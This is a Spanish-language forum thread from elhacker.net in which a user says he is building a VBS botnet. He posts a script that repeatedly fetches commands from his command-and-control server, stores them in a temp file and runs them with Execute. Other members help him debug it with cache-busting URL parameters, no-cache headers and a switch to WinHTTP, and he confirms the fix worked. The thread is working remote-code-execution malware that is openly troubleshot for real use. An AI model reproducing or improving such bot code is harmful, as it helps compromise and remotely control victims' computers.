Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Monkeykiller_vb en 11 Octubre 2019, 23:05 pm



Título: Error de XmlHTTP
Publicado por: Monkeykiller_vb en 11 Octubre 2019, 23:05 pm
Hola! Tengo un problema con uno de mis proyectos, quiero hacer una botnet vbs pero no funciona como esperaba:
Código:
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set http = CreateObject("Microsoft.XmlHttp")

Do
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 1, True)
filex = file.readAll
file.Close
http.open "GET", "http://*****.tk/btnet/cmdint.php", False
http.send
If Not(http.responsetext = filex) Then
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 2, True)
file.Write http.responsetext
file.Close
Execute http.responsetext
End If
Wscript.Sleep 15000
Loop

Cuando se inicia por primera vez, la botnet busca en mi servidor C&C el codigo a ejecutar.
Luego, ejecuta el codigo y lo guarda en un archivo llamado k.tmp
Cuando se repite deberia volver a buscar el codigo en el servidor, y gracias al archivo k.tmp, verificar si el codigo ya se ejecutó antes.

El problema es que cuando ocurre el loop y el archivo de instrucciones del servidor se actualizó, la botnet no recibe el nuevo codigo, sino el anterior  :-\

¿Como puedo solucionarlo?


Título: Re: Error de XmlHTTP
Publicado por: MCKSys Argentina en 12 Octubre 2019, 00:11 am
Hola!

Creo que es porque deberias usar responseText, no responsetext. Creo que es case sensitive.

Saludos!


Título: Re: Error de XmlHTTP
Publicado por: Monkeykiller_vb en 12 Octubre 2019, 05:08 am
Amigo, no creo que sea eso. Mira esto: http://ito.mx/LGun (http://ito.mx/LGun)

Directamente el responseText no se actualiza   :-\


Título: Re: Error de XmlHTTP
Publicado por: MCKSys Argentina en 16 Octubre 2019, 02:04 am
Prueba a quitar el On Error... a ver si te tira algun error...

Saludos!


Título: Re: Error de XmlHTTP
Publicado por: ThunderCls en 17 Octubre 2019, 03:05 am
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas

1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como

Código
  1. Randomize
  2. url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd

solo para forzar una nueva version de la web

2- Intenta especificando los headers de tu peticion

Código
  1. rl = "http://*****.tk/btnet/cmdint.php"
  2. http.open "GET", url, False
  3. http.setRequestHeader "pragma", "no-cache"
  4. http.setRequestHeader "Cache-Control", "no-cache, no-store"
  5. http.send

3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie

4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies
https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDN

Suerte


Título: Re: Error de XmlHTTP
Publicado por: Monkeykiller_vb en 5 Noviembre 2019, 14:40 pm
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas

1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como

Código
  1. Randomize
  2. url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd

solo para forzar una nueva version de la web

2- Intenta especificando los headers de tu peticion

Código
  1. rl = "http://*****.tk/btnet/cmdint.php"
  2. http.open "GET", url, False
  3. http.setRequestHeader "pragma", "no-cache"
  4. http.setRequestHeader "Cache-Control", "no-cache, no-store"
  5. http.send

3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie

4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies
https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDN

Suerte

Gracias, me funcionó cambiarlo a WinHTTP,  ;)